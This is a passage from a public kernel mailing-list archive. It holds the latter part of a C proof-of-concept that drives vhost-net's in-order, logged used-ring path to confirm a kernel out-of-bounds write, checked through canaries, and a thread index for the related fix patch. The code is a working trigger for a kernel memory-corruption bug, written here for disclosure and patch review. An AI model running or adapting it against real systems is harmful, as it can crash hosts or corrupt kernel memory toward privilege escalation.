                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (logmap == MAP_FAILED) DIE("mmap logmap: %s\n", strerror(errno));
    memset(logmap, 0, LOGMAP_SZ);
    /* The guard page is what bounds the runaway OOB sweep: set_bit_to_user()
     * over the underflowed ~34GB length faults at +LOGMAP_SZ/2 (returning
     * -EFAULT) instead of grinding on.  main() already aborts unless the page
     * size is 4096, so this offset and length are page-aligned and mprotect
     * must succeed; treat failure as fatal rather than silently running
     * without the guard (which would make the "canary corrupted" verdict
     * depend on an unbounded sweep). */
    if (mprotect(logmap + LOGMAP_SZ / 2, LOGMAP_SZ / 2, PROT_NONE) < 0)
        DIE("mprotect guard page failed: %s\n", strerror(errno));
    memset(logmap + LOGBIT_CANARY_OFF, LOGBIT_CANARY_BYTE, LOGBIT_CANARY_SZ);
    DBG("log bitmap %p (%dB legit, guard@+%d), canary @+%d\n",
        logmap, LOGBITMAP_SZ, LOGMAP_SZ / 2, LOGBIT_CANARY_OFF);

    desc   = (struct vring_desc *)((char *)mem + DESC_OFF);
    avail  = (struct vring_avail *)((char *)mem + AVAIL_OFF);
    used   = (struct vring_used *)((char *)mem + USED_OFF);
    canary = (uint32_t *)((char *)mem + CANARY_OFF);
    txbuf0 = (uint8_t *)mem + TXBUF0;
    txbuf1 = (uint8_t *)mem + TXBUF1;
    g_avail = avail;

    /* TX packet buffers: 12-byte virtio_net_hdr (VERSION_1/MRG) + eth frame.
     * All VRING_NUM descriptors share the two packet buffers (content is
     * identical), so in_order reuse of desc 0..NUM-1 always finds a valid
     * device-readable TX buffer. */
    {
        size_t hdr = 12, flen;
        /* build one canonical large TX frame in both buffers */
        flen = hdr + 14 + TX_PAYLOAD;
        for (i = 0; i < 2; i++) {
            uint8_t *b = i ? txbuf1 : txbuf0;
            memset(b, 0, hdr);                       /* hdr: gso NONE       */
            memset(b + hdr, 0xff, 6);                /* dst broadcast       */
            memset(b + hdr + 6, 0x02, 6);            /* src                 */
            b[hdr + 12] = 0x08; b[hdr + 13] = 0x00;  /* IPv4                */
            memset(b + hdr + 14, 'A', TX_PAYLOAD);   /* big payload         */
        }
        /* descriptors 0..NUM-1: device-readable (TX), no WRITE flag */
        for (i = 0; i < VRING_NUM; i++) {
            desc[i].addr  = (i & 1) ? TXBUF1 : TXBUF0;
            desc[i].len   = flen;
            desc[i].flags = 0;                       /* read-only for TX    */
            desc[i].next  = 0;
        }
        DBG("TX buffers ready: hdr=%zu frame=%zu desc.len=%zu ndesc=%d\n",
            hdr, flen - hdr, flen, VRING_NUM);
    }

    avail->flags = 0;
    for (i = 0; i < VRING_NUM; i++) avail->ring[i] = i;
    avail->idx = 0;

    for (i = 0; i < 16; i++) canary[i] = CANARY_MAGIC;
    DBG("used ring @0x%x canary @0x%x\n", USED_OFF, CANARY_OFF);

    tapfd = tap_open("poc0", vnet_hdr);
    tap_up("poc0");

    vfd = open("/dev/vhost-net", O_RDWR);
    if (vfd < 0) DIE("open /dev/vhost-net: %s\n", strerror(errno));
    if (xioctl(vfd, VHOST_SET_OWNER, NULL, "SET_OWNER") < 0) DIE("SET_OWNER\n");

    if (ioctl(vfd, VHOST_GET_FEATURES, &sup) < 0) DIE("GET_FEATURES: %s\n", strerror(errno));
    feats = (1ULL << VIRTIO_F_VERSION_1) | (1ULL << VIRTIO_F_IN_ORDER) |
            (1ULL << VIRTIO_NET_F_MRG_RXBUF) | (1ULL << VIRTIO_NET_F_MAC) |
            (1ULL << VHOST_F_LOG_ALL);
    feats &= sup;
    DBG("negotiated: 0x%llx (IN_ORDER=%d MRG_RXBUF=%d V1=%d LOG_ALL=%d)\n",
        (unsigned long long)feats,
        !!(feats & (1ULL << VIRTIO_F_IN_ORDER)),
        !!(feats & (1ULL << VIRTIO_NET_F_MRG_RXBUF)),
        !!(feats & (1ULL << VIRTIO_F_VERSION_1)),
        !!(feats & (1ULL << VHOST_F_LOG_ALL)));
    /* The reproduction is meaningless unless these three survived negotiation:
     * IN_ORDER selects the buggy vhost_add_used_n_in_order() path, LOG_ALL
     * enables the used-ring dirty logging whose log_used() length underflows,
     * and VERSION_1 fixes the 12-byte virtio_net_hdr the TX buffers assume.
     * "feats &= sup" silently drops anything the kernel lacks, so check here and
     * abort loudly -- otherwise the PoC could run without the preconditions and
     * print "canary intact", which must not be mistaken for "not vulnerable". */
    {
        uint64_t required = (1ULL << VIRTIO_F_VERSION_1) |
                            (1ULL << VIRTIO_F_IN_ORDER) |
                            (1ULL << VHOST_F_LOG_ALL);
        if ((feats & required) != required)
            DIE("kernel did not offer required features (missing 0x%llx of "
                "IN_ORDER|LOG_ALL|V1); cannot reproduce here -- this is NOT "
                "evidence the bug is absent\n",
                (unsigned long long)(required & ~feats));
    }
    if (xioctl(vfd, VHOST_SET_FEATURES, &feats, "SET_FEATURES") < 0) DIE("SET_FEATURES\n");

    vmem = calloc(1, sizeof(*vmem) + sizeof(struct vhost_memory_region));
    vmem->nregions = 1;
    vmem->regions[0].guest_phys_addr = 0;
    vmem->regions[0].memory_size     = GUEST_MEM_SZ;
    vmem->regions[0].userspace_addr  = (uint64_t)(uintptr_t)mem;
    if (xioctl(vfd, VHOST_SET_MEM_TABLE, vmem, "SET_MEM_TABLE") < 0) DIE("SET_MEM_TABLE\n");

    /* Must precede NET_SET_BACKEND: attaching the backend runs
     * vhost_vq_access_ok() -> vq_log_access_ok(), which needs log_base set. */
    logbase_arg = (uint64_t)(uintptr_t)logmap;
    if (xioctl(vfd, VHOST_SET_LOG_BASE, &logbase_arg, "SET_LOG_BASE") < 0)
        DIE("SET_LOG_BASE\n");

    vs.index = VQ_TX; vs.num = VRING_NUM;
    if (xioctl(vfd, VHOST_SET_VRING_NUM, &vs, "SET_VRING_NUM(TX)") < 0) DIE("VRING_NUM\n");

    memset(&va, 0, sizeof(va));
    va.index           = VQ_TX;
    va.desc_user_addr  = (uint64_t)(uintptr_t)desc;
    va.avail_user_addr = (uint64_t)(uintptr_t)avail;
    va.used_user_addr  = (uint64_t)(uintptr_t)used;
    va.flags           = (1 << VHOST_VRING_F_LOG);  /* enable used-ring logging */
    va.log_guest_addr  = USED_OFF;                  /* GPA of the used ring     */
    if (xioctl(vfd, VHOST_SET_VRING_ADDR, &va, "SET_VRING_ADDR(TX)") < 0) DIE("VRING_ADDR\n");

    vs.index = VQ_TX; vs.num = 0;
    if (xioctl(vfd, VHOST_SET_VRING_BASE, &vs, "SET_VRING_BASE(TX)") < 0) DIE("VRING_BASE\n");

    g_kickfd = eventfd(0, EFD_NONBLOCK);
    callfd   = eventfd(0, EFD_NONBLOCK);
    vf.index = VQ_TX; vf.fd = g_kickfd;
    if (xioctl(vfd, VHOST_SET_VRING_KICK, &vf, "SET_VRING_KICK(TX)") < 0) DIE("KICK\n");
    vf.index = VQ_TX; vf.fd = callfd;
    if (xioctl(vfd, VHOST_SET_VRING_CALL, &vf, "SET_VRING_CALL(TX)") < 0) DIE("CALL\n");

    vf.index = VQ_TX; vf.fd = tapfd;
    if (xioctl(vfd, VHOST_NET_SET_BACKEND, &vf, "NET_SET_BACKEND(TX)") < 0) DIE("SET_BACKEND\n");
    DBG("vhost-net TX backend attached; ring live\n");

    used_before = used->idx;
    DBG("used->idx before = %u; starting refill writer for %d s\n",
        used_before, RUN_SECONDS);

    /* One refill thread with a private speculative target; a second thread
     * would race on avail->idx.  -smp 4 gives it a dedicated vCPU. */
    if (pthread_create(&wt, NULL, writer_thread, NULL) != 0) DIE("pthread_create\n");
    sleep(RUN_SECONDS);
    g_stop = 1;
    pthread_join(wt, NULL);

    used_after = used->idx;
    DBG("used->idx after = %u (delta=%u)  max_refill_step=%lu  avail_updates=%lu  final_rx=%lu\n",
        used_after, (uint16_t)(used_after - used_before), g_max_avail_lag,
        g_avail_updates, g_final_rx);
    for (i = 0; i < VRING_NUM; i++)
        DBG("used->ring[%d] = {id=%u len=%u}\n", i, used->ring[i].id, used->ring[i].len);

    {
        int corrupted = 0;
        for (i = 0; i < 16; i++)
            if (canary[i] != CANARY_MAGIC) { corrupted = 1; break; }
        if (corrupted) {
            fprintf(stderr, "[poc] *** CANARY CORRUPTED -> OOB write CONFIRMED ***\n");
            hexdump("canary area", canary, 64);
        } else {
            fprintf(stderr, "[poc] canary intact (probe may still have fired; see dmesg)\n");
        }
    }
    {
        int lcorrupt = 0, k;
        for (k = 0; k < LOGBIT_CANARY_SZ; k++)
            if (logmap[LOGBIT_CANARY_OFF + k] != LOGBIT_CANARY_BYTE) { lcorrupt = 1; break; }
        if (lcorrupt) {
            fprintf(stderr, "[poc] *** LOG BITMAP CANARY CORRUPTED -> log_used() OOB write CONFIRMED ***\n");
            hexdump("log bitmap canary", logmap + LOGBIT_CANARY_OFF, LOGBIT_CANARY_SZ);
        } else {
            fprintf(stderr, "[poc] log bitmap canary intact (log_used probe may still have fired; see dmesg)\n");
        }
    }
    fprintf(stderr, "[poc] === check guest dmesg for WARN_ON_ONCE probes ===\n");

    vf.index = VQ_TX; vf.fd = -1;
    ioctl(vfd, VHOST_NET_SET_BACKEND, &vf);
    close(vfd); close(tapfd); close(g_kickfd); close(callfd);
    munmap(mem, GUEST_MEM_SZ);
    munmap(logmap, LOGMAP_SZ);
    return 0;
}

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-10-22 10:07 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-20 23:29 [PATCH] vhost: fix used ring index wrap in vhost_add_used_n_in_order Fang Xieyan
2026-10-21  7:29 ` Eugenio Perez Martin
2026-10-21 23:30 ` sashiko-bot
2026-10-22 10:06 ` Fang Xieyan

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox